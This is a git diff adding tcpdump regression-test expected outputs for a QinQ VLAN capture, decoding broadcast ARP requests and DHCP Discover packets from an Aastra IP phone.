+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/QinQpacket.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/QinQpacket.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..eeabfe4ebab5dc2a3aa11b1423da8c83c6dc058f
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/QinQpacket.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/QinQpacketv.out b/peasoup_examples/tests/tcpdump/tcpd_tests/QinQpacketv.out
new file mode 100644
index 0000000000000000000000000000000000000000..03ed7cf686cdac510a5b15816f05bb77f713e30f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/QinQpacketv.out
@@ -0,0 +1,1977 @@
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51417, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51427, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51435, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51451, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a090, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51482, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51486, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51493, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51509, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a090, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
